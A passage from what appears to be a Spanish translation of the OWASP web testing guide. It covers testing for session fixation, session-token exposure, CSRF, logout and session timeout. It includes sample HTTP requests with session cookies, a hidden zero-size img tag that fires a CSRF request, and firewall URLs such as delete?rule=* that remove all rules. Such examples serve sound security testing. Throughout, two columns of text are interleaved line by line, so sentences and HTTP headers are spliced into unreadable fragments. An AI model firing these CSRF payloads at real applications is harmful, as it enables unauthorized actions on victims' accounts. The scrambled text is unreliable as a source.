
En una explotación de vulnerabilidades genéricas de fijación de sesión, un
atacante crea una nueva sesión en una aplicación web y registra el
JSESSIONID=0000d8eyYq3L0z2fgq10m4v-rt4:-1 for the client.
identificador de sesión asociado. El atacante, entonces, hace que la
víctima se autentique en el servidor utilizando el mismo identificador de
sesión, lo que da al atacante acceso a la cuenta del usuario a través de la
sesión activa. A continuación, si el evaluador se autentica con éxito a la aplicación con
los siguientes POST HTTPS:
Además, el problema descrito anteriormente es difícil para los sitios que

emiten un identificador de sesión sobre HTTP y luego redireccionan al
usuario a un formulario de inicio de sesión en HTTPS. Si el identificador
de sesión no es regenerado tras la autenticación, el atacante puede
husmear y robar el identificador y luego usarlo para secuestrar la sesión.
Cómo probar
Probar las vulnerabilidades de fijación de sesión:
El primer paso es hacer una solicitud al sitio a ser probado (ejemplo

www.example.com). Si el evaluador solicita lo siguiente:
GET www.example.com

135
POST https://www.example.com/authentication.php HTTP/1.1 HTTP/1.1 200 OK
Host: www.example.com Date: Thu, 14 Aug 2008 14:52:58 GMT
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.16) Server: Apache/2.2.2 (Fedora)
Gecko/20080702 Firefox/2.0.0.16
X-Powered-By: PHP/5.1.6
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain; Content-language: en
q=0.8,image/png,*/*;q=0.5
Cache-Control: private, must-revalidate, max-age=0
X-Content-Encoding: gzip
Content-length: 4090
Connection: close
Keep-Alive: 300
Content-Type: text/html; charset=UTF-8
...
Referer: http://www.example.com
HTML data
Cookie: JSESSIONID=0000d8eyYq3L0z2fgq10m4v-rt4:-1
Como ninguna cookie nueva ha sido emitida tras una autenticación
Content-length: 57
exitosa, el evaluador sabe que es posible realizar un secuestro de sesión.
Name=Meucci&wpPassword=secret!&wpLoginattempt=Log+in
Resultado esperado: El evaluador puede enviar un identificador de sesión
válido a un usuario (posiblemente usando un truco de ingeniería social),
esperar a que él se autentique y verificar posteriormente que los
privilegios han sido asignados a esta cookie.
El evaluador observa la siguiente respuesta del servidor:
Hable con los desarrolladores y entienda si se ha implementado una

renovación de ficha de sesión después de una autenticación exitosa de los
usuarios.
Resultado esperado: La aplicación debe siempre invalidar el

identificador de sesión existente, antes de autenticar a un usuario; y si la
autenticación tiene éxito, proporcionar otro identificador de sesión.
Herramientas
• Hijack - a numeric session hijacking tool: yehg.net
• OWASP WebScarab: owasp.org

136
Para probar las vulnerabilidades de encriptación y reutilización de las

fichas de sesión:
Referencias
La protección contra intrusos es proporcionada a menudo por una
Libros Blancos encriptación SSL, pero puede incorporar otros túneles o encriptados.
Cabe señalar que la encriptación o hash criptográfico del identificador de
• Session Fixation: owasp.org sesión debe considerarse por separado del encriptado del transporte, ya
que es el identificador de sesión en sí el que se está protegiendo, no los
• ACROS Security: acrossecurity.com datos que pueden ser representados por él.
• Chris Shiflett: shiflett.org
Si un atacante puede presentar un identificador de sesión a la aplicación

para tener acceso, entonces esta debe estar protegida durante el tránsito
Pruebas para determinar la Exposición de las Variables de Sesión (OTG-
para mitigar ese riesgo. Por lo tanto, debería asegurarse que la
SESS-004)
encriptación sea tanto la norma como el que sea reforzada para cualquier
petición o respuesta en la que se transfiera el identificador de sesión, sin
Resumen
importar el mecanismo utilizado (por ejemplo, un campo oculto de un
formulario). Debe realizar controles simples como la sustitución de
Las fichas de sesión(Cookie, SessionID, Hidden Field), si se exponen,
https:// con http:// durante la interacción con la aplicación, junto con la
generalmente permitirán a un atacante hacerse pasar por una víctima y
modificación de los formularios publicados para determinar si se
acceder a la aplicación ilegítimamente. Es importante que estén
implementa la segregación adecuada entre los sitios seguros y no
protegidas de intrusos en todo momento, especialmente mientras están
seguros.
en tránsito entre el navegador del cliente y los servidores de las
aplicaciones.
Tenga en cuenta también que si hay un elemento en el sitio donde se

realiza un seguimiento del usuario a traves de un identificador de sesión,
Esta información se refiere a cómo la seguridad en el transporte se aplica
pero la seguridad no está presente (por ejemplo, observando qué
a la transferencia de datos sensibles del identificador de sesión en
documentos públicos descarga un usuario registrado), es esencial que se
general, y puede ser más estricta que las políticas de transporte y
utilice un identificador de sesión diferente. El identificador de sesión, por
almacenamiento en caché de los datos atendidos por el sitio.
lo tanto, debe ser monitoreado mientras el usuaio cambia entre
elementos seguros y no seguros para garantizar que se utiliza uno
diferente.
Utilizando un proxy interceptor, es posible conocer lo siguiente sobre
cada petición y respuesta:
Resultado esperado:
• Protocol used (e.g., HTTP vs. HTTPS) Cada vez que la autenticación es exitosa, el usuario debe esperar recibir:
• HTTP Headers
• Message Body (e.g., POST or page content) • Una ficha de sesión diferente
• Una ficha enviada a traves de un canal encriptado cada vez que se hace una
solicitud HTTP
Cada vez que los datos del identificador de sesión pasan entre el cliente y
el servidor, el protocolo, caché, las directivas y cuerpo de privacidad
deben ser revisadas. La seguridad del transporte se refiere a la
Para probar las vulnerabilidades de proxys y caché
circulación del identificador de sesión por peticiones GET o POST, cuerpo
de los mensajes u otros medios, mediante solicitudes HTTP válidas.
Los proxys también debe considerarse al revisar la seguridad de las
aplicaciones. En muchos casos, los clientes accederán a la aplicación a
través del ISPcorporativo y los proxies o gateways conscientes del
Cómo probar protocolo, (por ejemplo, Firewalls). El protocolo HTTP proporciona

137
directivas para controlar el comportamiento de proxies aguas abajo, y la

correcta aplicación de estas directivas también debe ser evaluada.
Resultado esperado:
Todo código del lado del servidor que recibe datos de solicitudes POST
En general, el identificador de sesión nunca debe ser enviado mediante debe ser analizado para asegurarse que no acepte los datos si se envía
un transporte no encriptado y no debe almacenarse en caché. La como una solicitud GET. Por ejemplo, considere la siguiente petición
aplicación debe ser examinada para asegurarse que las comunicaciones POST, generada por una página de registro.
encriptadas sean tanto la norma como el que sean reforzadas para
cualquier transferencia de identificadores de sesión. Además, cada vez
POST https://owaspapp.com/login.asp HTTP/1.1
que se pasa el identificador de sesión, las directivas deben estar colocadas
para evitar su almacenamiento en caché por cachés intermedios e incluso
Host: owaspapp.com
locales.
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.2)
Gecko/20030208 Netscape/7.02 Paros/3.0.2b
La aplicación debe configurarse también para asegurar los datos en Accept: */*
caché, tanto en HTTP/1.0 y HTTP/1.1 – RFC 2616 discute los controles
adecuados en cuanto a HTTP. HTTP/1.1 proporcionando una serie de Accept-Language: en-us, en
mecanismos de control de caché. Control-Cache: no-cache indica que un
proxy no debe volver a utilizar los datos. Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66
Keep-Alive: 300
Whilst Cache-Control: Private parece ser una directiva adecuada. Esto Cookie: ASPSESSIONIDABCDEFG=ASKLJDLKJRELKHJG
permite a un proxy no compartido acceder a los datos del caché. En el
caso de café net u otros sistemas compartidos, esto presenta un riesgo Cache-Control: max-age=0
evidente. Incluso con estaciones de trabajo monousuario, el identificador
de sesión almacenada en caché puede quedar expuesto si el sistema de Content-Type: application/x-www-form-urlencoded
archivos se encuentra comprometido o si se utilizan cadenas de tiendas.
Los Cachés de HTTP/1.0 no reconocen la directiva de Cache-Control: no- Content-Length: 34
cache.
Login=Username&password=Password&SessionID=12345678
Resultado esperado:
Las directivas "Expires: 0" y Cache-Control: max-age = 0 pueden usarse

para asegurar posteriormente que los cachés no expongan los datos. Si login.asp está mal implementado, es posible iniciar una sesión con la
Cada solicitud y respuesta que pasa datos del identificador de sesión siguiente URL:
deben ser examinadas para asegurar que las directivas de caché
adecuadas están siendo utilizadas. http://owaspapp.com/login.asp?Login=Username&password=Password&Sessio
nID=12345678
Para probar Las vulnerabilidades De GET Y POST:

Se pueden identificar los scripts potencialmente inseguros del servidor
En general, las solicitudes GET no deberían utilizarse, ya que el revisando cada POST de esta manera.
identificador de sesión puede quedar expuesto en el registro del Proxy o
del Firewall. También son más fácilmente manipulables que otros tipos de
transporte, aunque debe señalarse que cualquier mecanismo puede ser
manipulado por el cliente con las herramientas adecuadas. Además, los Para probar las vulnerabilidades de transporte:
ataques de scripts de sitios cruzados (XSS) son explotados más fácilmente
mediante el envío de un enlace especialmente construido para la víctima. Toda la interacción entre el cliente y la aplicación debe probar, al menos,
Esto es mucho menos probable si los datos se envían desde el cliente los siguientes criterios.
como POST.

138
• ¿Cómo se transfieren los identificadores de sesión, por ejemplo, GET, [3] La gestión de sesión de la aplicación basada únicamente en la
POST, Form Field(incluyendo campos ocultos)? información que es conocida por el navegador;
• ¿Son los identificadores de sesión enviados siempre a través de [4] La existencia de etiquetas HTML cuya presencia permite un acceso
transporte encriptado por defecto? inmediato a un recurso http[s]; por ejemplo, la etiqueta de imagen img.
• ¿Es posible manipular la aplicación para enviar los identificadores de

sesión sin encriptar?, ¿por ejemplo, cambiando de HTTPS a HTTP?
Los puntos 1, 2 y 3 son esenciales para que la vulnerabilidad esté
• ¿Qué directivas de control de caché se aplican a las solicitudes o presente, mientras que el punto 4 es un accesorio y facilita la explotación
respuestas que pasan identificadores de sesión? • ¿Están siempre real, pero no es estrictamente necesario.
presentes estas directivas? Si no es así, ¿dónde están estas excepciones?
• ¿Incorporan las solicitudes GET al identificador de sesión utilizado?

Punto 1) Los navegadores envían automáticamente información que se
• ¿Si se utiliza un POST, puede ser intercambiado con GET? utiliza para identificar una sesión de usuario. Supongamos que el sitio es
un sitio que aloja una aplicación web, y el usuario víctima acaba de
autenticarse sólo en el sitio. En respuesta, el sitio envía a la víctima una
cookie que identifica las peticiones enviadas por la víctima como
Referencias pertenecientes a la sesión autenticada por él o ella. Básicamente, una vez
que el navegador recibe la cookie configurada por el sitio,
Libros Blancos automáticamente la enviará junto con cualquier otra solicitud dirigida al
sitio.
• RFCs 2109 & 2965 – HTTP State Management Mechanism [D. Kristol, L.
Montulli]: ietf.org
• RFC 2616 - Hypertext Transfer Protocol - HTTP/1.1: ietf.org Punto 2) Si la aplicación no hace uso de la información relacionada con la
sesión en las URL, entonces significa que las URL de la aplicación, sus
parámetros y valores legítimos pueden identificarse (ya sea por el
análisis de código o accediendo a la aplicación y tomando nota de los
Pruebas de un CSRF (OTG-SESS-005)
formularios y direcciones URL incrustadas en el HTML/JavaScript).
Resumen
CSRF es un ataque que obliga a un usuario a ejecutar acciones no

Punto 3) "Conocida por el navegador" se refiere a información como
deseadas en una aplicación web en la que actualmente él o ella se
cookies o información de autenticación basada en http (como
encuentra autenticado(a). Con un poco de ayuda de la ingeniería social
autenticación básica y no basada en los formularios de autenticación),
(como enviar un enlace a través de un correo electrónico o chat), un
que son almacenadas por el navegador y posteriormente enviadas a cada
atacante puede forzar a los usuarios de una aplicación web a ejecutar
petición dirigida hacia un área de aplicación, solicitando la autenticación.
acciones escogidas por el atacante.
Las vulnerabilidades discutidas a continuación se refieren a las
aplicaciones que dependen totalmente de este tipo de información para
identificar una sesión de usuario.
Un ataque CSRF exitoso puede comprometer los datos del usuario final y
la operación cuando se dirige a un usuario normal. Si la cuenta de
administrador es el usuario final objetivo , un ataque CSRF puede
Supongamos, para simplificar, que para referirse a las direcciones URL
comprometer a toda la aplicación de web.
accesibles mediante peticiones GET (aunque la discusión se aplica
también a las peticiones POST). Si la víctima ya se ha autenticado, el envío
de otra petición causa que la cookie se despache automáticamente con
CSRF se basa en lo siguiente: ésta (vea la imagen, donde el usuario accede a una aplicación en
www.example.com).
[1] El comportamiento del navegador web con respecto al manejo de
información relacionada con la sesión como las cookies y la información
de autenticación http;
[2] El conocimiento del atacante sobre URLs válidos de aplicaciones web;

139
<html><body>
...
<img src=”https://www.company.example/action” width=”0”

height=”0”>
La petición GET puede originarse de varias maneras diferentes:
...
• por el usuario, que está utilizando la aplicación web misma;
• por el usuario, que escribe la URL directamente en el navegador;

</body></html>
• por el usuario, que sigue un enlace (externo a la aplicación) apuntando a la
URL.
Lo que hará el evaluador cuando presente esta página es intentar mostrar
también el carácter zero-width especificado (es decir, invisible). Esto
resulta en una petición que se envía automáticamente a la aplicación web
Estas invocaciones son indistinguibles por la aplicación. En particular, el
alojada en el sitio. No importa que la imagen del URL no haga referencia a
tercer punto puede ser muy peligroso. Hay una serie de técnicas (y
una imagen adecuada; su presencia activará la solicitud especificada en el
vulnerabilidades) que pueden encubrir las propiedades reales de un
campo SRC de todos modos. Esto sucede siempre que la descarga de
enlace. El enlace puede incrustarse en un mensaje de correo electrónico, o
imagenes no esté deshabilitada en los navegadores, que es una
aparecer en un sitio web malintencionado donde el usuario es engañado,
configuración típica, ya que desactivar las imágenes significaría paralizar
es decir, el enlace aparece en el contenido alojado en otra parte (otro sitio
la mayoría de las aplicaciones web inutilizándolas.
web, un mensaje de correo electrónico HTML, etc.) y apunta a un recurso
de la aplicación. Si el usuario hace clic en el enlace, puesto que él ya
estaba autenticado por la aplicación web en el sitio, el navegador enviará
una petición GET a la aplicación web, acompañada de la información de
El problema aquí es una consecuencia de los siguientes hechos:
autenticación (la cookie de identificación de sesión). Esto resulta en una
operación válida, realizada en la aplicación web que probablemente no es
lo que el usuario esperaba que ocurra. Piense en un enlace malicioso que
realiza una transferencia de fondos en una aplicación web bancaria para • Hay etiquetas HTML cuya aparición en una página resulta en una ejecución
apreciar las implicaciones. de una solicitud automática de la http (siendo una de éstas img);
• el navegador no tiene manera de saber que el recurso referenciado por img

no es realmente una imagen y que de hecho no es legítimo;
Mediante el uso de una etiqueta como img, tal como se especificó
anteriormente en el punto 4, ni siquiera es necesario que el usuario siga • la carga de la imagen sucede independientemente de la ubicación de la
un enlace concreto. Supongamos que el atacante envía al usuario un supuesta imagen, es decir, el formulario y la imagen en sí no necesitan estar
correo electrónico que le invita a visitar una URL de una página que ubicados en el mismo host, ni siquiera en el mismo dominio. Aunque ésta es
contiene el siguiente código HTML (sobresimplificado): una característica muy útil, hace difícil compartimentar aplicaciones.
Es un hecho que el contenido HTML no relacionado con la aplicación web

puede referirse a los componentes de la aplicación, y que el navegador
automáticamente crea una solicitud válida para la aplicación, que permite
este tipo de ataques. Como no hay estándares definidos en este momento,
no hay manera de prohibir este comportamiento a menos que se haga
imposible que el atacante pueda especificar solicitudes de direcciones
URL válidas. Esto significa que las URL válidas deben incluir información
relacionada a la sesión del usuario, que supuestamente no pueda ser

140
conocida por el atacante y, por lo tanto, sea imposible la identificación de configuración si el usuario introduce '*' (una característica peligrosa,
esas URL. pero que hará que el ejemplo sea más interesante). La página de
eliminación se muestra a continuación. Supongamos que el formulario –
por simplicidad – emite una solicitud GET, que tendrá la forma:
El problema podría ser aún peor ya que, en ambientes integrados de

correo y navegador, simplemente mostrar un mensaje de correo https://[target]/fwmgt/delete?rule=1
electrónico que contiene la imagen resultaría en la ejecución de la
solicitud hacia la aplicación web con la cookie del navegador asociado.
Las cosas pueden ofuscarse más mediante la referencia de la imagen (para eliminar la regla número uno)
aparentemente válida de la URL como:
https://[target]/fwmgt/delete?rule=*
<img src=”https://[attacker]/picture.gif” width=”0” height=”0”>
(para eliminar todas las reglas).

donde [atacante] es un sitio controlado por el atacante, utilizando un
mecanismo de redirección en:
El ejemplo es deliberadamente ingenuo, pero muestra de manera sencilla

http://[attacker]/picture.gif to http://[thirdparty]/action. los peligros del CSRF.
Las cookies no son el único ejemplo en este tipo de vulnerabilidad. Las

aplicaciones web cuya información de sesión se suministra totalmente
mediante el navegador son vulnerables también. Esto incluye
aplicaciones que se apoyan solamente en mecanismos de autenticación
HTTP, ya que la información de autenticación es conocida por el
navegador y se envía automáticamente en cada petición. Esto NO incluye
la autenticación basada en formularios, que ocurre sólo una vez y genera Por lo tanto, si entramos el valor '*' y presiona el botón Supr, se envía la
algún tipo de información relacionada con la sesión (por supuesto, en siguiente solicitud GET:
este caso, dicha información se expresa simplemente como una cookie y
podemos caer en uno de los casos anteriores).
https://www.company.example/fwmgt/delete?rule=*
Escenario de ejemplo
Supongamos que la víctima ha iniciado la sesión en una aplicación web de

gestión de firewall. Para iniciar la sesión, un usuario tiene que
autenticarse por sí mismo y la información de sesión se almacena en una
cookie.
Supongamos que la aplicación web de gestión de firewall tiene una

función que permite al usuario autenticado eliminar una regla
especificada por su número posicional, o todas las reglas de la
141
con el efecto de eliminar todas las reglas del firewall (y terminar en una
situación posiblemente inconveniente).
Cómo probar
Para una prueba de Caja Negra, el evaluador debe conocer las direcciones
URL en el área restringida (autenticada). Si poseen credenciales válidas,
pueden asumir ambos roles – el de agresor y el de víctima. En este caso,
los evaluadores saben las URL a probar solo con hojear alrededor de la
aplicación.
Ahora, este no es el único escenario posible. El usuario podría haber

logrado los mismos resultados enviando manualmente la URL
De lo contrario, si los evaluadores no tienen credenciales válidas
disponibles, tienen que organizar un ataque real y así inducir a un usuario
https://[target]/fwmgt/delete?rule=* legitimamente registrado a seguir hacia el enlace apropiado. Esto puede
implicar un nivel substancial de ingeniería social.
De cualquier manera, un caso de prueba se puede construir de la

siguiente manera:
o siguiendo un enlace directamente o a través de una redirección a la URL
anterior, O, nuevamente, accediendo a un HTML con una etiqueta img
• Asumiendo que 'u' sea la URL a probar; por ejemplo, u =
integrada que apunte a la misma URL.
http://www.example.com/action
• Construya una página html que contenga la solicitud http que hace referencia
a la URL 'u' (especificando todos los parámetros relevantes; en el caso de una
En todos estos casos, si el usuario tiene iniciada una sesión en la
solicitud http GET esto es directo, mientras que para una solicitud POST
aplicación de administración del firewall, la petición tendrá éxito y
necesita recurrir a algunos Javascript);
modificará la configuración del firewall. Uno puede imaginar los ataques
contra aplicaciones sensibles y lograr hacer pujas u ofertas en subastas • Asegúrese de que el usuario se encuentra registrado en la aplicación;
automáticas, transferencias de dinero, órdenes, cambiar la configuración
de componentes de software crítico, etc. • Induzca al usuario a seguir el enlace apuntando a la URL a probar (involucre
ingeniería social si usted no puede suplantar al usuario);
• Observe el resultado, es decir, compruebe si el servidor web ejecuta la

Una cosa interesante es que estas vulnerabilidades pueden practicarse solicitud.
detrás de un firewall; es decir, es suficiente que el enlace atacado sea
accesible por parte de la víctima (no directamente por el atacante). En
particular, puede ser cualquier servidor de web de Intranet; por ejemplo,
la estación de administración del firewall mencionado anteriormente, que Pruebas de Caja Gris
es poco probable que sea expuesto a Internet. Imagine un ataque CSRF
dirigido a una aplicación de monitoreo de una planta de energía nuclear. Audite la aplicación para determinar si su gestión de sesión es vulnerable.
¿Suena poco probable? Puede ser, pero es una posibilidad. Si la gestión de sesiones se basa únicamente en los valores del lado del
cliente (información disponible para el navegador), entonces la aplicación
es vulnerable. "Valores del lado del cliente" significa cookies y
credenciales de autenticación de HTTP (autenticación básica y otras
Las aplicaciones autovulnerables, es decir, aplicaciones que se utilizan formas de autenticación HTTP, autenticación no basada en formularios,
tanto como vector de ataque como destino (por ejemplo, aplicaciones de que es una autenticación a nivel de aplicación). Para que una aplicación
correo web), empeoran las cosas. no sea vulnerable, debe incluir información relacionada con la sesión en
la URL, en una forma no identificable o impredecible para el usuario ([3]
Si una aplicación es vulnerable, el usuario está obviamente registrado utiliza el término secreto para hacer referencia a este dato).
cuando lee un mensaje que contiene un ataque CSRF, que puede apuntar a
la aplicación de correo web y tenerla realizando acciones como borrar
mensajes, enviar mensajes que aparecen como enviados por el usuario,
etc.

142
Los recursos accesibles a través de peticiones HTTP GET son fácilmente • No utilice el mismo navegador para acceder a aplicaciones sensibles y
vulnerables, aunque las peticiones POST se pueden automatizar vía para navegar libremente por Internet. Si es necesario, haga ambas cosas
Javascript y son vulnerables también, por lo tanto, el uso exclusivo de en la misma máquina y con distintos navegadores.
solicitudes POST no es suficiente para corregir la aparición de
vulnerabilidades CSRF.
Tanto el correo/navegador como los entornos de lector/navegador

integrados en HTML plantean riesgos adicionales, puesto que
Herramientas simplemente ver un mensaje de correo o un mensaje de noticias puede
conducir a la ejecución de un ataque.
• OWASP ZAP: owasp.org
• CSRF Tester: owasp.org

Desarrolladores
• Cross Site Requester: owasp.org
Agregue información relacionada a la sesión a la URL. Lo que hace posible
• Cross Frame Loader: owasp.org el ataque es el hecho de que la sesión es identificada como única por la
cookie, que se envía automáticamente por el navegador. Tener otra
• Pinata-csrf-tool: code.google.com información específica de la sesión que se genera a nivel de la URL
dificulta al atacante conocer la estructura de las URL a atacar.
Referencias
Otras defensas, mientras no resuelvan el problema, contribuyen a hacer
Libros Blancos
más difícil la explotación:
• Peter W: “Cross-Site Request Forgeries”: tux.org

• Usar solicitudes POST en vez de solicitudes GET. Puesto que las solicitudes
POST se pueden simular mediante JavaScript, esto hace que sea más complejo
• Thomas Schreiber: “Session Riding”: securenet.de
montar un ataque.
• Oldest known post: zope.org

• Lo mismo sucede con páginas de confirmación intermedias (tales como:
"¿está seguro que desea hacer esto?"). Estas pueden ser evitadas por un
• Cross-site Request Forgery FAQ: cgisecurity.com
atacante, aunque harán su trabajo un poco más complejo. Por lo tanto, no
dependa únicamente de estas medidas para proteger su aplicación.
• A Most-Neglected Fact About Cross Site Request Forgery (CSRF): yehg.net
• Los mecanismos de cierre automático de sesión mitigan, de alguna manera,

la exposición a estas vulnerabilidades, aunque en última instancia depende del
contexto (un usuario que trabaja todo el dia en una aplicación web bancaria
Remediación
vulnerable tiene obviamente un mayor riesgo que un usuario que utiliza la
misma aplicación ocasionalmente).
Las siguientes defensas se dividen entre las recomendaciones para los
usuarios y para los desarrolladores.
Actividades de seguridad relacionadas

Usuarios
Descripción de vulnerabilidades CSRF
Ya que las vulnerabilidades CSRF son, al parecer, generalizadas, se
Vea el artículo de OWASP sobre vulnerabilidades CSRF.
recomienda seguir las mejores prácticas para mitigar el riesgo. Algunas
acciones de mitigación son:
• Cierre la sesión inmediatamente después de usar una aplicación web.

Cómo evitar las vulnerabilidades CSRF
• No permita que el navegador guarde el nombre de usuario/contraseñas

Vea en la guía de desarrollo OWASP el artículo sobre cómo evitar las
y no permita que los sitios web "recuerden" la información de registro.
vulnerabilidades CSRF.

143
Cómo revisar el código de vulnerabilidades CSRF
Vea la guía de revisión de código de OWASP sobre cómo Revisar las A los usuarios de navegadores web a menudo no les importa que una
vulnerabilidades CSRF. aplicación está todavía abierta y simplemente cierran el navegador o la
pestaña. Una aplicación web debe considerar este comportamiento y
terminar la sesión automáticamente del lado del servidor después de un
tiempo definido.
Cómo prevenir vulnerabilidades CSRF
Vea la Hoja de Prevención de Trampas CSRF de OWASP para ver medidas

de prevención. El uso de un sistema de registro único (single sign-on ó SSO) en lugar de
un esquema de autenticación de aplicaciones específicas, a menudo causa
la coexistencia de múltiples sesiones que deben terminarse por separado.
Por ejemplo, la terminación de la sesión de la aplicación específica no
Pruebas de la funcionalidad del cierre de sesión (OTG-SESS-006) termina la sesión en el sistema SSO.
Resumen
El cierre de sesión es una parte importante del ciclo de vida de la sesión. Navegar de vuelta hacia el portal SSO ofrece al usuario la posibilidad de
Reducir al mínimo la vida útil de las fichas de sesión disminuye la volver a iniciar una sesión en la aplicación donde la sesión fue terminada
probabilidad de un ataque de secuestro de sesión exitoso. Esto puede poco antes. Por otro lado, una función de registro en un sistema SSO no
verse como un control contra la prevención de otros ataques como el necesariamente causa el cierre de sesión en las aplicaciones
Cross Site Scripting (CSS) o Cross Site Request Forgery (CSRF). Se conoce interconectadas.
que este tipo de ataques dependen de que un usuario tenga una sesión
autenticada en ese momento. No tener una terminación de sesión segura
sólo aumenta la superficie de ataque para cualquiera de estos ataques.
Cómo probar
Para probar la interfaz de cierre de sesión del usuario:

Una terminación de sesión segura requiere, por lo menos, de los
siguientes componentes: Verifique el aspecto y la visibilidad de la funcionalidad de la interfaz de
cierre de sesión del usuario. Para ello, vea cada página desde la
perspectiva de un usuario que tiene la intención de cerrar la sesión de la
aplicación web.
• La disponibilidad de controles de interfaz de usuario que permiten al usuario
desconectarse manualmente.
• La terminación de la sesión después de un período específico de tiempo sin Resultado esperado:

actividad (tiempo de caducidad de sesión).
Existen algunas propiedades que indican una buena interfaz de cierre de
• Una correcta anulación del estado de la sesión desde el servidor. sesión del usuario:
Hay múltiples cuestiones que pueden prevenir la terminación eficaz de • Un botón de cierre de sesión está presente en todas las páginas de la
una sesión. Para la seguridad ideal de la aplicación web, un usuario debe aplicación web.
ser capaz de terminar en cualquier momento a través de la interfaz de
usuario. Cada página debe contener un botón de cierre de sesión en un • El botón de cierre de sesión debe ser rápidamente identificable por un
lugar directamente visible. Las funciones de cierre de sesión confusas o usuario que quiere desconectarse de la aplicación web.
ambiguas podrían causar desconfianza en el usuario sobre dicha
funcionalidad. • Después de cargar una página, el botón de cierre de sesión debe ser visible
sin desplazamiento.
Otro error común en la terminación de la sesión es que en la ficha de
sesión del cliente se establece un nuevo valor, mientras que en el estado • Idealmente, el botón de cierre de sesión debe ubicarse en una zona fija
del servidor permanece activa y puede ser reutilizada restableciendo la dentro de la pantalla visible del navegador y no debe verse afectada por el
cookie de sesión al valor anterior. A veces sólo se muestra un mensaje de desplazamiento del contenido.
confirmación al usuario sin que tenga que realizar ninguna acción
adicional. Esto debe evitarse.
144
Para probar el cierre de sesión desde el servidor: El valor apropiado para el tiempo de caducidad de la sesión depende del
propósito de la aplicación y debe ser un equilibrio entre seguridad y
Primeramente, almacene los valores de las cookies que se utilizan para usabilidad. En las aplicaciones bancarias, no tiene sentido mantener una
identificar una sesión. Invoque la función de cierre de sesión del usuario y sesión inactiva más de quince minutos. Por otro lado, un tiempo corto de
observe el comportamiento de la aplicación, especialmente en relación espera en un wiki o un foro podría molestar a los usuarios que están
con las cookies de sesión. Intente navegar hacia una página que sólo es escribiendo artículos largos con solicitudes de registro innecesarias. Allí,
visible dentro de una sesión autenticada, por ejemplo, el uso del botón de los tiempos de espera de una hora o más pueden ser aceptables.
regresar del navegador.
Para probar el cierre de sesión en entornos de inicio de sesión únicos

Si se muestra una versión en caché de la página, utilice el botón de (single sign-off):
actualizar para refrescar la página desde el servidor. Y si la función de
cierre de sesión causa que las cookies se registren con un nuevo valor, Realice un cierre de sesión de la aplicación que está probando. Verifique
restaure el valor antiguo de las cookies de sesión y cargue una página de si hay un portal central o un directorio de la aplicación que le permita al
la zona autenticada de la aplicación. usuario reiniciar una sesión en la aplicación sin autenticación.
Si estas pruebas no muestran vulnerabilidades en alguna página en Compruebe si la aplicación solicita al usuario su autenticación; si solicita
particular, pruebe al menos algunas páginas más de la aplicación que se una dirección URL de un punto de entrada a la aplicación. Habiendo
consideran críticas para la seguridad, para garantizar que la terminación iniciado una sesión en la aplicación probada, realice un cierre de sesión
de la sesión es reconocida correctamente por estas áreas de la aplicación. en el sistema SSO. Intente acceder a un área autenticada de la aplicación
probada.
Resultado esperado:
Resultado esperado:
Ningún dato que debería ser visible únicamente por usuarios
autenticados debe ser visibles en las páginas examinadas al realizar las Se espera que la invocación de una función de cierre de sesión en una
pruebas. Idealmente, la aplicación debe redirigirse a una zona pública o a aplicación web conectada a un sistema SSO, o en el mismo sistema SSO,
un formulario de registro al acceder a áreas autenticadas después del cause el cierre global de todas las sesiones. Una autenticación del usuario
cierre de la sesión. No debería ser necesario para la seguridad de la debería ser necesaria para acceder a la aplicación después del cierre de la
aplicación, pero establecer nuevos valores para las cookies de sesión sesión en el sistema SSO y la aplicación conectada.
después de desconectarse es considerado como una buena práctica.
Herramientas
Pruebas de tiempo de caducidad de sesión:
• “Burp Suite - Repeater”: portswigger.net
Determine un tiempo de caducidad de sesión realizando solicitudes a una
página en el área de autenticación de la aplicación web con incremento de
los intervalos de tiempo. Si aparece un comportamiento de cierre de
sesión, el intervalo de tiempo usado coincide aproximadamente con el Referencias
valor del tiempo de caducidad de la sesión.
Libros Blancos
• “The FormsAuthentication.SignOut method does not prevent cookie reply attacks

Resultado esperado: in ASP.NET applications”: support.microsoft.com
Un cierre de sesión causado por inactividad dentro de un tiempo de • “Cookie replay attacks in ASP.NET when using forms authentication”:
caducidad debe tener los mismos resultados descritos anteriormente
vanstechelman.eu
para la prueba de terminación de sesión de servidor.
Pruebas del tiempo de cierre de sesión (OTG-SESS-007)

145
Resumen invalida la sesión del usuario actual y borra todos los datos almacenados
en el cliente.
En esta fase, los evaluadores comprueban que la aplicación cierra
automáticamente la sesión cuando un usuario ha permanecido inactivo
durante un cierto periodo de tiempo, asegurando que no se pueda
"reutilizar" la misma sesión y que ningún dato sensible permanezca Ambas acciones deben implementarse cuidadosamente, con el fin de
almacenado en la caché del navegador. evitar introducir debilidades que podrían ser aprovechadas por un
atacante para obtener acceso no autorizado si el usuario olvidó cerrar la
sesión desde la aplicación. Más específicamente, en cuanto a la función de
cierre de sesión, es importante asegurarse de que todas las fichas de
Todas las aplicaciones deben implementar un tiempo de cierre de sesión sesión (por ejemplo las cookies) sean destruidas o queden inservibles, y
por inactividad. Este tiempo de cierre define el período que una sesión se que se apliquen controles adecuados desde el lado del servidor para
mantendrá activa en caso de que no haya actividad por parte del usuario., evitar la reutilización de las fichas de sesión. Si estas acciones no se llevan
Cierre e invalide la sesión una vez excedido el período de inactividad a cabo correctamente, un atacante podría reproducir estas fichas de
definida desde la última petición HTTP recibida por la aplicación web sesión para "resucitar" la sesión de un usuario legítimo y hacerse pasar
para un determinado identificador de sesión. El tiempo de cierre más por él o ella (este ataque es generalmente conocido como 'cookie replay').
adecuado debe ser un equilibrio entre la seguridad (menor tiempo de Por supuesto, un factor atenuante es que el atacante debe ser capaz de
espera) y usabilidad (mayor tiempo de espera), y mucho depende del acceder a las fichas (que se almacenan en el navegador de la víctima),
nivel de sensibilidad de los datos manejados por la aplicación. pero, en varios casos, esto puede no ser particularmente difícil o
imposible.
Por ejemplo, un tiempo de cierre de sesión de 60 minutos para un foro

público puede ser aceptable, pero tanto tiempo sería demasiado en una El escenario más común para este tipo de ataque es un equipo público
aplicación de banca en casa (donde se recomienda un tiempo máximo de que sirve para acceder a información privada (por ejemplo, correo web,
cierre de quince minutos). En todo caso, cualquier aplicación que no cuenta bancaria en línea). Si el usuario se aleja de la computadora sin
